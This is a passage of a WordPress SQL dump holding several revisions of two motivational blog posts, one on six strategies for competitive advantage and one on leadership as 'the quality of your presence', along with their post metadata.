(1052, 2, '2010-09-09 13:22:41', '2010-09-09 20:22:41', '<img class="alignnone size-full wp-image-1047" title="competition-proof" src="http://whc.fbdev.org/wp-content/uploads/2010/09/competition-proof.gif" alt="" width="500" height="329" />\r\n<h2>Seemingly in every business  category today, more businesses are being commoditized by the sheer  abundance of choices customers have. It’s customers who decide who leads  and who fails. How competition-proof is your business right now?</h2>\r\n<div>\r\n\r\nWhen customers have abundant choice,  competition is always fierce. How do you differentiate your business in  ways that matter to your customers? How do you command premium prices  and greater profit margins when everyone else is discounting prices  fighting to break even? More importantly, how do you, a creative  entrepreneur, gain radical advantage over your would-be competitors in  an ultra-competitive marketplace? I’m absolutely sure these questions  swirl around in your head on a daily basis.\r\n\r\nHere are six strategies that are fundamental to creating a  competition-proof business– one that’s aligned to your greatest  passions, talents, vision and life goals. For many entrepreneurs,  (myself included) creating more value for people through creativity and  innovation is a burning passion, and a fabulously cool way to travel  through life’s journey.\r\n\r\n<strong>Strategy One<em>\r\nAs you think, so it becomes! </em></strong>\r\n\r\nThe seed of all great innovation is thought. If you fear your  competitors, and believe their presence controls your success, they  will. On the other hand, if you believe there is always an abundance of  opportunity available for all, and your thinking is always in that  inspired direction, opportunity will always be present for you.\r\n\r\n<strong>Strategy Two<em>\r\nDo what matters to you and serves others! </em></strong>\r\n\r\nWhat do you love? You must engage yourself in what you love–in what  brings meaning and joy to your life. More importantly, what brings  meaning and joy to you must serve the good of others as well. When you  do this, you begin to realize there are no limits to your growth and  success. You delight in asking yourself ” how far can I go?” Your  business is the creative venue for this expression!\r\n\r\n<strong>Strategy Three<em>\r\nBe different, and make a difference! </em></strong>\r\n\r\nWhat do you stand for? To be competitive-proof, your business must be  good–and different. Radically different! To radically differentiate  your business from the slush pile of good, you must position your value  proposition (what value and benefit you provide to people in need)  within a deep and narrow focus. Your product/service must be highly  specialized, and solve specific problems with better outcomes than  people are currently experiencing.\r\n\r\n<strong>Strategy Four<em>\r\nProvide more use value than you receive in cash value! </em></strong>\r\n\r\nHere’s the source code for zero competition: whatever the amount of  cash your customer pays you is always reciprocated with an experience of  greater use value. Whenever customers perceive greater value in the  (experience) use of a product or service than they paid in cash for it,  they become raving, loyal customers, if not outright non-paid advocates  of your business.\r\n\r\n<strong>Strategy Five<em>\r\nFocus on your genius, delegate everything else! </em></strong>\r\n\r\nThe force multiplier in value creation and business growth begins  when you elevate yourself to a place where all you focus on is  opportunity to create value. Everything else is delegated (outsourced).  Give yourself permission to allow the unique genius in you to run the  show.  Haven’t tapped into your genius yet? Here’s a clue: It feels so  natural to you, you hardly give it any attention at all.  You are so  amazing at it, you don’t even sense it’s power to transform your current  circumstances– and you have never been without it!\r\n\r\n<strong>Strategy Six<em>\r\nTurn customers into your non-paid sales force! </em></strong>\r\n\r\nTo attract opportunity, create value for others first. The  marketplace rewards those who earn and deserve, never because they  desire or need business.  It can’t be said enough–always make the  customer successful first!  When you do, your customers will be  life-long ambassadors of your success.\r\n\r\nWhen you develop the disciplined thinking and action required to  implement these important strategies as a daily practice, you’ll be  astonished at how fast your breakthroughs in growth will occur. It will  be in quantum leaps rather than incremental spikes.\r\n\r\n<strong>The reason is simple. When you free yourself to focus only on  your most important activities, relationships and  opportunities–increased revenue and profits are the natural result.</strong>\r\n\r\n</div>', 'Six Strategies For Creating Unparalleled Competitive Advantage In Your Business.', 0, '', 'inherit', 'open', 'open', '', '1046-revision-5', '', '', '2010-09-09 13:22:41', '2010-09-09 20:22:41', '', 1046, 'http://www.whitehotcenter.com/2010/09/09/1046-revision-5/', 0, 'revision', '', 0),
(1054, 2, '2010-09-09 13:26:37', '2010-09-09 20:26:37', '<img class="alignnone size-full wp-image-1047" title="competition-proof" src="http://whc.fbdev.org/wp-content/uploads/2010/09/competition-proof.gif" alt="" width="500" height="329" />\r\n<h2>Seemingly in every business  category today, more businesses are being commoditized by the sheer  abundance of choices customers have. It’s customers who decide who leads  and who fails. How competition-proof is your business right now?</h2>\r\n<div>\r\n\r\nWhen customers have abundant choice,  competition is always fierce. How do you differentiate your business in  ways that matter to your customers? How do you command premium prices  and greater profit margins when everyone else is discounting prices  fighting to break even? More importantly, how do you, a creative  entrepreneur, gain radical advantage over your would-be competitors in  an ultra-competitive marketplace? I’m absolutely sure these questions  swirl around in your head on a daily basis.\r\n\r\nHere are six strategies that are fundamental to creating a  competition-proof business– one that’s aligned to your greatest  passions, talents, vision and life goals. For many entrepreneurs,  (myself included) creating more value for people through creativity and  innovation is a burning passion, and a fabulously cool way to travel  through life’s journey.\r\n\r\n<strong>Strategy One<em>\r\nAs you think, so it becomes! </em></strong>\r\n\r\nThe seed of all great innovation is thought. If you fear your  competitors, and believe their presence controls your success, they  will. On the other hand, if you believe there is always an abundance of  opportunity available for all, and your thinking is always in that  inspired direction, opportunity will always be present for you.\r\n\r\n<strong>Strategy Two<em>\r\nDo what matters to you and serves others! </em></strong>\r\n\r\nWhat do you love? You must engage yourself in what you love–in what  brings meaning and joy to your life. More importantly, what brings  meaning and joy to you must serve the good of others as well. When you  do this, you begin to realize there are no limits to your growth and  success. You delight in asking yourself ” how far can I go?” Your  business is the creative venue for this expression!\r\n\r\n<strong>Strategy Three<em>\r\nBe different, and make a difference! </em></strong>\r\n\r\nWhat do you stand for? To be competitive-proof, your business must be  good–and different. Radically different! To radically differentiate  your business from the slush pile of good, you must position your value  proposition (what value and benefit you provide to people in need)  within a deep and narrow focus. Your product/service must be highly  specialized, and solve specific problems with better outcomes than  people are currently experiencing.\r\n\r\n<strong>Strategy Four<em>\r\nProvide more use value than you receive in cash value! </em></strong>\r\n\r\nHere’s the source code for zero competition: whatever the amount of  cash your customer pays you is always reciprocated with an experience of  greater use value. Whenever customers perceive greater value in the  (experience) use of a product or service than they paid in cash for it,  they become raving, loyal customers, if not outright non-paid advocates  of your business.\r\n\r\n<strong>Strategy Five<em>\r\nFocus on your genius, delegate everything else! </em></strong>\r\n\r\nThe force multiplier in value creation and business growth begins  when you elevate yourself to a place where all you focus on is  opportunity to create value. Everything else is delegated (outsourced).  Give yourself permission to allow the unique genius in you to run the  show.  Haven’t tapped into your genius yet? Here’s a clue: It feels so  natural to you, you hardly give it any attention at all.  You are so  amazing at it, you don’t even sense it’s power to transform your current  circumstances– and you have never been without it!\r\n\r\n<strong>Strategy Six<em>\r\nTurn customers into your non-paid sales force! </em></strong>\r\n\r\nTo attract opportunity, create value for others first. The  marketplace rewards those who earn and deserve, never because they  desire or need business.  It can’t be said enough–always make the  customer successful first!  When you do, your customers will be  life-long ambassadors of your success.\r\n\r\nWhen you develop the disciplined thinking and action required to  implement these important strategies as a daily practice, you’ll be  astonished at how fast your breakthroughs in growth will occur. It will  be in quantum leaps rather than incremental spikes.\r\n\r\n<strong>When you free yourself to focus only on  your most important activities, relationships and  opportunities–increased revenue and profits are the natural result.</strong>\r\n\r\n</div>', 'Six Strategies For Creating Unparalleled Competitive Advantage In Your Business.', 0, '', 'inherit', 'open', 'open', '', '1046-revision-7', '', '', '2010-09-09 13:26:37', '2010-09-09 20:26:37', '', 1046, 'http://www.whitehotcenter.com/2010/09/09/1046-revision-7/', 0, 'revision', '', 0),
(1055, 2, '2010-12-27 15:57:20', '2010-12-27 22:57:20', '<img class="alignnone size-full wp-image-1047" title="competition-proof" src="http://whc.fbdev.org/wp-content/uploads/2010/09/competition-proof.gif" alt="" width="450" height="296" />\r\n<h2>Seemingly in every business  category today, more businesses are being commoditized by the sheer  abundance of choices customers have. It’s customers who decide who leads  and who fails. How competition-proof is your business right now?</h2>\r\n<div>\r\n\r\n<!--more-->When customers have abundant choice,  competition is always fierce. How do you differentiate your business in  ways that matter to your customers? How do you command premium prices  and greater profit margins when everyone else is discounting prices  fighting to break even? More importantly, how do you, a creative  entrepreneur, gain radical advantage over your would-be competitors in  an ultra-competitive marketplace? I’m absolutely sure these questions  swirl around in your head on a daily basis.\r\n\r\nHere are six strategies that are fundamental to creating a  competition-proof business– one that’s aligned to your greatest  passions, talents, vision and life goals. For many entrepreneurs,  (myself included) creating more value for people through creativity and  innovation is a burning passion, and a fabulously cool way to travel  through life’s journey.\r\n\r\n<strong>Strategy One<em>\r\nAs you think, so it becomes! </em></strong>\r\n\r\nThe seed of all great innovation is thought. If you fear your  competitors, and believe their presence controls your success, they  will. On the other hand, if you believe there is always an abundance of  opportunity available for all, and your thinking is always in that  inspired direction, opportunity will always be present for you.\r\n\r\n<strong>Strategy Two<em>\r\nDo what matters to you and serves others! </em></strong>\r\n\r\nWhat do you love? You must engage yourself in what you love–in what  brings meaning and joy to your life. More importantly, what brings  meaning and joy to you must serve the good of others as well. When you  do this, you begin to realize there are no limits to your growth and  success. You delight in asking yourself ” how far can I go?” Your  business is the creative venue for this expression!\r\n\r\n<strong>Strategy Three<em>\r\nBe different, and make a difference! </em></strong>\r\n\r\nWhat do you stand for? To be competitive-proof, your business must be  good–and different. Radically different! To radically differentiate  your business from the slush pile of good, you must position your value  proposition (what value and benefit you provide to people in need)  within a deep and narrow focus. Your product/service must be highly  specialized, and solve specific problems with better outcomes than  people are currently experiencing.\r\n\r\n<strong>Strategy Four<em>\r\nProvide more use value than you receive in cash value! </em></strong>\r\n\r\nHere’s the source code for zero competition: whatever the amount of  cash your customer pays you is always reciprocated with an experience of  greater use value. Whenever customers perceive greater value in the  (experience) use of a product or service than they paid in cash for it,  they become raving, loyal customers, if not outright non-paid advocates  of your business.\r\n\r\n<strong>Strategy Five<em>\r\nFocus on your genius, delegate everything else! </em></strong>\r\n\r\nThe force multiplier in value creation and business growth begins  when you elevate yourself to a place where all you focus on is  opportunity to create value. Everything else is delegated (outsourced).  Give yourself permission to allow the unique genius in you to run the  show.  Haven’t tapped into your genius yet? Here’s a clue: It feels so  natural to you, you hardly give it any attention at all.  You are so  amazing at it, you don’t even sense it’s power to transform your current  circumstances– and you have never been without it!\r\n\r\n<strong>Strategy Six<em>\r\nTurn customers into your non-paid sales force! </em></strong>\r\n\r\nTo attract opportunity, create value for others first. The  marketplace rewards those who earn and deserve, never because they  desire or need business.  It can’t be said enough–always make the  customer successful first!  When you do, your customers will be  life-long ambassadors of your success.\r\n\r\nWhen you develop the disciplined thinking and action required to  implement these important strategies as a daily practice, you’ll be  astonished at how fast your breakthroughs in growth will occur. It will  be in quantum leaps rather than incremental spikes.\r\n\r\n<strong>When you free yourself to focus only on  your most important activities, relationships and  opportunities–increased revenue and profits are the natural result.</strong>\r\n\r\n</div>', 'Six Strategies For Creating Unparalleled Competitive Advantage In Your Business.', 0, '', 'inherit', 'open', 'open', '', '1046-autosave', '', '', '2010-12-27 15:57:20', '2010-12-27 22:57:20', '', 1046, 'http://www.whitehotcenter.com/2010/09/09/1046-autosave/', 0, 'revision', '', 0),
(1056, 1, '2010-09-09 13:28:33', '2010-09-09 20:28:33', '<img class="alignnone size-full wp-image-1047" title="competition-proof" src="http://whc.fbdev.org/wp-content/uploads/2010/09/competition-proof.gif" alt="" width="500" height="329" />\r\n<h2>Seemingly in every business  category today, more businesses are being commoditized by the sheer  abundance of choices customers have. It’s customers who decide who leads  and who fails. How competition-proof is your business right now?</h2>\r\n<div>\r\n\r\nWhen customers have abundant choice,  competition is always fierce. How do you differentiate your business in  ways that matter to your customers? How do you command premium prices  and greater profit margins when everyone else is discounting prices  fighting to break even? More importantly, how do you, a creative  entrepreneur, gain radical advantage over your would-be competitors in  an ultra-competitive marketplace? I’m absolutely sure these questions  swirl around in your head on a daily basis.\r\n\r\nHere are six strategies that are fundamental to creating a  competition-proof business– one that’s aligned to your greatest  passions, talents, vision and life goals. For many entrepreneurs,  (myself included) creating more value for people through creativity and  innovation is a burning passion, and a fabulously cool way to travel  through life’s journey.\r\n\r\n<strong>Strategy One<em>\r\nAs you think, so it becomes! </em></strong>\r\n\r\nThe seed of all great innovation is thought. If you fear your  competitors, and believe their presence controls your success, they  will. On the other hand, if you believe there is always an abundance of  opportunity available for all, and your thinking is always in that  inspired direction, opportunity will always be present for you.\r\n\r\n<strong>Strategy Two<em>\r\nDo what matters to you and serves others! </em></strong>\r\n\r\nWhat do you love? You must engage yourself in what you love–in what  brings meaning and joy to your life. More importantly, what brings  meaning and joy to you must serve the good of others as well. When you  do this, you begin to realize there are no limits to your growth and  success. You delight in asking yourself ” how far can I go?” Your  business is the creative venue for this expression!\r\n\r\n<strong>Strategy Three<em>\r\nBe different, and make a difference! </em></strong>\r\n\r\nWhat do you stand for? To be competitive-proof, your business must be  good–and different. Radically different! To radically differentiate  your business from the slush pile of good, you must position your value  proposition (what value and benefit you provide to people in need)  within a deep and narrow focus. Your product/service must be highly  specialized, and solve specific problems with better outcomes than  people are currently experiencing.\r\n\r\n<strong>Strategy Four<em>\r\nProvide more use value than you receive in cash value! </em></strong>\r\n\r\nHere’s the source code for zero competition: whatever the amount of  cash your customer pays you is always reciprocated with an experience of  greater use value. Whenever customers perceive greater value in the  (experience) use of a product or service than they paid in cash for it,  they become raving, loyal customers, if not outright non-paid advocates  of your business.\r\n\r\n<strong>Strategy Five<em>\r\nFocus on your genius, delegate everything else! </em></strong>\r\n\r\nThe force multiplier in value creation and business growth begins  when you elevate yourself to a place where all you focus on is  opportunity to create value. Everything else is delegated (outsourced).  Give yourself permission to allow the unique genius in you to run the  show.  Haven’t tapped into your genius yet? Here’s a clue: It feels so  natural to you, you hardly give it any attention at all.  You are so  amazing at it, you don’t even sense it’s power to transform your current  circumstances– and you have never been without it!\r\n\r\n<strong>Strategy Six<em>\r\nTurn customers into your non-paid sales force! </em></strong>\r\n\r\nTo attract opportunity, create value for others first. The  marketplace rewards those who earn and deserve, never because they  desire or need business.  It can’t be said enough–always make the  customer successful first!  When you do, your customers will be  life-long ambassadors of your success.\r\n\r\nWhen you develop the disciplined thinking and action required to  implement these important strategies as a daily practice, you’ll be  astonished at how fast your breakthroughs in growth will occur. It will  be in quantum leaps rather than incremental spikes.\r\n\r\n<strong>When you free yourself to focus only on  your most important activities, relationships and  opportunities–increased revenue and profits are the natural result.</strong>\r\n\r\n</div>', 'Six Strategies For Creating Unparalleled Competitive Advantage In Your Business.', 0, '', 'inherit', 'open', 'open', '', '1046-revision-8', '', '', '2010-09-09 13:28:33', '2010-09-09 20:28:33', '', 1046, 'http://www.whitehotcenter.com/2010/09/09/1046-revision-8/', 0, 'revision', '', 0),
(1057, 1, '2010-09-10 08:44:00', '2010-09-10 15:44:00', '<img class="alignnone size-full wp-image-1047" title="competition-proof" src="http://whc.fbdev.org/wp-content/uploads/2010/09/competition-proof.gif" alt="" width="500" height="329" />\r\n<h2>Seemingly in every business  category today, more businesses are being commoditized by the sheer  abundance of choices customers have. It’s customers who decide who leads  and who fails. How competition-proof is your business right now?</h2>\r\n<div>\r\n\r\nWhen customers have abundant choice,  competition is always fierce. How do you differentiate your business in  ways that matter to your customers? How do you command premium prices  and greater profit margins when everyone else is discounting prices  fighting to break even? More importantly, how do you, a creative  entrepreneur, gain radical advantage over your would-be competitors in  an ultra-competitive marketplace? I’m absolutely sure these questions  swirl around in your head on a daily basis.\r\n\r\nHere are six strategies that are fundamental to creating a  competition-proof business– one that’s aligned to your greatest  passions, talents, vision and life goals. For many entrepreneurs,  (myself included) creating more value for people through creativity and  innovation is a burning passion, and a fabulously cool way to travel  through life’s journey.\r\n\r\n<strong>Strategy One<em>\r\nAs you think, so it becomes! </em></strong>\r\n\r\nThe seed of all great innovation is thought. If you fear your  competitors, and believe their presence controls your success, they  will. On the other hand, if you believe there is always an abundance of  opportunity available for all, and your thinking is always in that  inspired direction, opportunity will always be present for you.\r\n\r\n<strong>Strategy Two<em>\r\nDo what matters to you and serves others! </em></strong>\r\n\r\nWhat do you love? You must engage yourself in what you love–in what  brings meaning and joy to your life. More importantly, what brings  meaning and joy to you must serve the good of others as well. When you  do this, you begin to realize there are no limits to your growth and  success. You delight in asking yourself ” how far can I go?” Your  business is the creative venue for this expression!\r\n\r\n<strong>Strategy Three<em>\r\nBe different, and make a difference! </em></strong>\r\n\r\nWhat do you stand for? To be competitive-proof, your business must be  good–and different. Radically different! To radically differentiate  your business from the slush pile of good, you must position your value  proposition (what value and benefit you provide to people in need)  within a deep and narrow focus. Your product/service must be highly  specialized, and solve specific problems with better outcomes than  people are currently experiencing.\r\n\r\n<strong>Strategy Four<em>\r\nProvide more use value than you receive in cash value! </em></strong>\r\n\r\nHere’s the source code for zero competition: whatever the amount of  cash your customer pays you is always reciprocated with an experience of  greater use value. Whenever customers perceive greater value in the  (experience) use of a product or service than they paid in cash for it,  they become raving, loyal customers, if not outright non-paid advocates  of your business.\r\n\r\n<strong>Strategy Five<em>\r\nFocus on your genius, delegate everything else! </em></strong>\r\n\r\nThe force multiplier in value creation and business growth begins  when you elevate yourself to a place where all you focus on is  opportunity to create value. Everything else is delegated (outsourced).  Give yourself permission to allow the unique genius in you to run the  show.  Haven’t tapped into your genius yet? Here’s a clue: It feels so  natural to you, you hardly give it any attention at all.  You are so  amazing at it, you don’t even sense it’s power to transform your current  circumstances– and you have never been without it!\r\n\r\n<strong>Strategy Six<em>\r\nTurn customers into your non-paid sales force! </em></strong>\r\n\r\nTo attract opportunity, create value for others first. The  marketplace rewards those who earn and deserve, never because they  desire or need business.  It can’t be said enough–always make the  customer successful first!  When you do, your customers will be  life-long ambassadors of your success.\r\n\r\nWhen you develop the disciplined thinking and action required to  implement these important strategies as a daily practice, you’ll be  astonished at how fast your breakthroughs in growth will occur. It will  be in quantum leaps rather than incremental spikes.\r\n\r\n<strong>When you free yourself to focus only on  your most important activities, relationships and  opportunities–increased revenue and profits are the natural result.</strong>\r\n\r\n</div>', 'Six Strategies For Creating Unparalleled Competitive Advantage In Your Business.', 0, '', 'inherit', 'open', 'open', '', '1046-revision-9', '', '', '2010-09-10 08:44:00', '2010-09-10 15:44:00', '', 1046, 'http://www.whitehotcenter.com/2010/09/10/1046-revision-9/', 0, 'revision', '', 0),
(1058, 2, '2010-09-26 12:13:59', '2010-09-26 19:13:59', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="450" height="341" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker <a href="http://www.stewartemery.com/" target="_blank">Stewart Emery</a> define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, and you know you want a higher level of experience, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within! When you trust this belief, you are automatically elevated into a leadership role–lighting your own way forward!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another''s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, 'You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.', 'publish', 'open', 'open', '', 'leadership-the-quality-of-your-presence', '', '', '2011-01-07 22:31:39', '2011-01-08 05:31:39', '', 0, 'http://www.whitehotcenter.com/?p=1058', 0, 'post', '', 3),
(1059, 2, '2010-09-26 11:48:43', '2010-09-26 18:48:43', '', 'presence', 0, '', 'inherit', 'open', 'open', '', 'presence', '', '', '2010-09-26 11:48:43', '2010-09-26 18:48:43', '', 1058, 'http://www.whitehotcenter.com/wp-content/uploads/2010/09/presence.gif', 0, 'attachment', 'image/gif', 0),
(1060, 2, '2010-09-26 11:50:42', '2010-09-26 18:50:42', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\n<strong> </strong>\n\nRecently, at a small conference I attended, I heard speaker, author and thinker Stewart Emery define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\n\n<strong>The Quality of Your Presence.</strong>\n\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\n\nThe quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of. If you’re stuck at a certain level of “leadership quality” in your personal and professional life, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within!\n\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence.\n\nThese are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\n\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\n\n<strong> </strong>\n\n<strong>Do what matters to you and serves others.</strong>\n\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\n\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\n\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, '', 'inherit', 'open', 'open', '', '1058-revision', '', '', '2010-09-26 11:50:42', '2010-09-26 18:50:42', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision/', 0, 'revision', '', 0),
(1061, 2, '2010-09-26 11:51:02', '2010-09-26 18:51:02', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker Stewart Emery define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of. </span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence.\r\n\r\nThese are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, '', 'inherit', 'open', 'open', '', '1058-revision-2', '', '', '2010-09-26 11:51:02', '2010-09-26 18:51:02', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-2/', 0, 'revision', '', 0);
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(1062, 2, '2010-09-26 11:51:16', '2010-09-26 18:51:16', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker Stewart Emery define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of. </span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence.\r\n\r\nThese are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your 